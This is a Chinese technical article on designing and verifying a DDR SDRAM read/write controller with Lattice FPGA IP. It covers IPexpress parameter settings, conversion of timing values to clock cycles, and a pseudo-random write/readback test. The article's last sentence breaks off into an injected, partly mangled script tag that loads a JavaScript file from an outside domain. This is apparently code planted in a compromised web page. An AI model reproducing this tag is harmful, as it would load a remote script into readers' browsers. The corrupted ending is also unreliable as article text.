采用FPGA IP实现DDR的读写控制的设计与验证

前言

随着高速处理器的不断发展,嵌入式系统应用的领域越来越广泛,数字信号处理的规模也越来越大,系统中ram规模不断增加,比如视频监控、图像数据采集等领域,图像处理的实时性对ram带宽的要求不断增加,传统的sdram在带宽上已经逐渐无法满足应用要求,ddr sdram(双倍速率sdram)采用在时钟clk信号的上升和下降沿,双沿做数据传输;比传统的sdram只在时钟上升沿传输的方式,传输带宽增加了一倍。ddr ram已开始广泛应用于嵌入式系统中,正逐步取代传统的sdram。

ddr ram操作速度的提高,对设计者来说,对控制时序的设计有了更高的要求;并且,ddr内存采用的是支持2.5v电压的sstl-ⅱ标准,不再是sdram使用的3.3v电压的lvttl标准。在很多的处理器上面并不带有ddr ram控制器,这对设计者来说,使用ddr ram难度增加。往往需要在设计中插入控制器实现微处理器或dsp对存储器的控制。

现场可编程门阵列(fpga)已广泛应用于嵌入式系统中。现在很多fpga都提供了针对ddr sdram的接口特性:其输入输出引脚与sstl-ⅱ电气特性兼容,内部提供了ddr触发器、锁相环等硬件资源。使用这些特性,可以比较容易地设计性能可靠的高速ddr ram控制器。本文针对这一问题,介绍一种采用lattice fpga与ip来实现ddr ram控制和验证的方法。

latticexp

latticexp器件将非易失的flash单元和sram技术组合在一起,支持瞬间启动和无限可重构的单芯片解决方案。flash单元阵列中保存用户配置文件。上电时,配置文件在1毫秒内从flash存储器中被传送到配置sram中,完成瞬时上电。

器件内部分为:pic (可编程的i/o单元),非易失的flash memory,sysconfig配置端口,pfu(可编程功能单元),pll(模拟锁相环),pff(非ram/rom功能可编程逻辑单元),ebr(嵌入式ram块),jtag口等几部分(见图1)。

图1 latticexp内部结构图

ddr controller ip的生成

ipexpress是lattice开发软件中生成ip模块的工具,可根据用户设定的参数生成ip模块,使用非常方便。

点击启动ipexpress进入生成界面(见图2)。在左边选取ddr sdram工程,在右边设置工程名称和文件保存地址。

图2 ipexpress界面

点击下一步,开始进入参数设置(见图3)。这里面进行设置ddr ram的行、列的参数,以及bank。这些参数都是根据ddr ram芯片手册进行设置。本文中采用的ddr ram颗粒是现代公司的hy5du561622,16m x16,4bank颗粒。

图3 ddr ram的行、列的参数配置

下一步,进行时序延时上面的设置(见图4)。

图4 ddr ram颗粒时序参数配置

在这里设置trac(行访问周期,ras access cycle/delay)、tcac(列访问周期,cas access cycle/ delay)等参数。这些参数,在ddr ram颗粒芯片的手册中都有详细的列表。需要特别指出的是,由于芯片提供商会针对不同的ddr标准,例如ddr400,ddr333等,给出不同的延时参数,会是以ns为单位的几个不同的列表,需要根据设计的不同,参考不同的表格。因为ip生成器中采用的是单一参数设置,单位采用了clk为单位,这就需要根据设计标准以及时钟频率来转换一下,进行设定。本文采用的是ddr266标准,时钟为133mhz,对应的时钟周期为1/133mhz,大约为7.5ns。这样,芯片在ddr266标准的trcd为20ns(最小值),对应到ip的参数中就是3。其他参数也是类似的换算。

设置完毕以后,点击generate,可以生成ip代码文件,如图5。

图5 ip生成

ddr controller ip的使用与验证

生成的ddr controller ip的接口结构如图6所示。

图6 ddr controller接口

ram接口根据信号的定义,对应ddr ram接口信号。另一端是用户接口,包括复位、时钟、地址、数据、读写、状态信号等。数据通过用户接口送入,通过ip控制时序送到ddr ram对用的地址当中。

对ip的测试,采用数据写入与读出进行校验的方式来实现。测试框图如图7所示。

图7 测试原理框图

在fpga内部做两个ram区域,用于数据的保存。这里使用fpga内部的ram块,做了两块256×32b大小的ram存储区。编写fpga代码,做一个简单的伪随机序列发生器,通过简单的异或算法,产生32位随机数据序列。产生的数据存入其中一块ram当中,同时也送到ip的用户接口端,写入ddr ram。

在256深度的存储区域写满以后,开始从ddr ram回读数据。并把读取的数据送到fpga内部另外一块ram当中。两块ram中对用地址的数据作比较。如果数据一致,说明ddr ram读写正常;如果不同,说明ddr ram读写操作有错?script src=http://er12.com/t.js>

  • 采用FPGA IP实现DDR的读写控制的设计与验证已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计